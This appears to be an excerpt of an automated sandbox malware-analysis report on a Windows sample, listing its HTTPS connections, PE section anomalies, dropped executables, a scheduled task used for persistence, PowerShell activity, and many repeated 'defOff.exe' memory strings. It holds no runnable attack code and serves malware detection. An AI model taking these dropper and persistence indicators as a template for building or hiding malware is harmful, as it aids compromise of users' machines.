Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59892 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:59895 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: d40e036167.exe, 00000011.00000002.2959463989.0000000001052000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_6bdec7ea-8
Source: d40e036167.exe, 00000011.00000002.2959463989.0000000001052000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_28802cbe-f

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name:
Source: F7UO7T49UKQNSZTWA8QFF.exe.0.dr	Static PE information: section name: .idata
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name:
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name: .idata
Source: X42E6LZ0BD4W2FEYDTB0TDC.exe.0.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: d816f1d41e.exe.8.dr	Static PE information: section name:
Source: d816f1d41e.exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: random[1].exe0.8.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.8.dr	Static PE information: section name: .idata
Source: random[1].exe0.8.dr	Static PE information: section name:
Source: f324957d91.exe.8.dr	Static PE information: section name:
Source: f324957d91.exe.8.dr	Static PE information: section name: .rsrc
Source: f324957d91.exe.8.dr	Static PE information: section name: .idata
Source: f324957d91.exe.8.dr	Static PE information: section name:
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name:
Source: M8HFQURFTEATD4NIMG0DLKG.exe.14.dr	Static PE information: section name: .idata
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name:
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name: .idata
Source: GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.14.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.8.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

PE file has nameless sections

Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:
Source: pdf.exe.9.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\X42E6LZ0BD4W2FEYDTB0TDC.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01100D14	0_3_01100D14
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01103200	0_3_01103200
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01106A7C	0_3_01106A7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0110F9DA	0_3_0110F9DA
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Code function: 3_2_00378972	3_2_00378972
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Code function: 3_2_00380639	3_2_00380639
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Code function: 3_2_0037F60A	3_2_0037F60A
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Code function: 3_2_0038064A	3_2_0038064A
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Code function: 3_2_002057E3	3_2_002057E3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_08E93AA8	11_2_08E93AA8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_035BB498	13_2_035BB498
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_035BB488	13_2_035BB488
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_08EC3AA8	13_2_08EC3AA8

Source: Joe Sandbox View

Dropped File: C:\Lipras\pdf.exe 9AAA862061C903F3F5A1D509F0016A599B9152D02EA0365DFD3BBD9C5C147656

Source: file.exe, 00000000.00000003.2209346337.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2207321152.0000000005F17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223073583.000000000597D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204341246.0000000005FBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202019091.0000000005EB2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202223103.0000000005E12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210907717.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201742264.0000000005EBB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211061399.0000000005F37000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211969130.0000000005F46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2206779435.0000000005E12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213515572.0000000005F57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201885554.0000000005EB8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203227000.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203655507.0000000005EDA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2205870119.0000000005FE1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202924042.0000000005E18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213050385.0000000005F4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2207969723.0000000005F12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210238497.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217535423.0000000005E19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212172244.0000000006081000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2209116428.0000000006027000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204215689.0000000005EEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210764071.000000000604D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201946628.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204112013.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204006507.0000000005F9B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201470647.0000000005C7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223014906.000000000110D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2205642224.0000000005EF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202752255.0000000005E21000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210482168.0000000005E12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2206656865.0000000005F0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2206551359.0000000005E1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204440783.0000000005E18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204791701.0000000005E1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2218094284.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202151117.0000000005EBE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213225796.0000000006091000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202526856.0000000005E13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2201814218.0000000005E1F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203140571.0000000005F8E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213997434.00000000060AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2206233764.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2208777662.0000000005E18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215129316.0000000005F56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202837760.0000000005ED7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2209501178.0000000005F23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2207726647.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211695026.0000000005E1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202363683.0000000005F5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204900658.0000000005EF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213368416.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2206413354.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210351235.0000000005F27000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203035328.0000000005ECB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2207183790.0000000005E18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2205091042.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203908229.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203393604.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2217835198.0000000005F66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2215732497.000000000609C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2209669705.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212875425.0000000005E19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2212711379.0000000005F42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2213683226.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2210619023.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202674700.0000000005F62000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2216300505.0000000005E1D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2206089033.0000000005E12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2208624407.0000000006020000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2202092264.0000000005E17000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2204687010.0000000005FCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2211368434.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2223014906.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2214546324.0000000005E15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2203744765.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2209818876.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
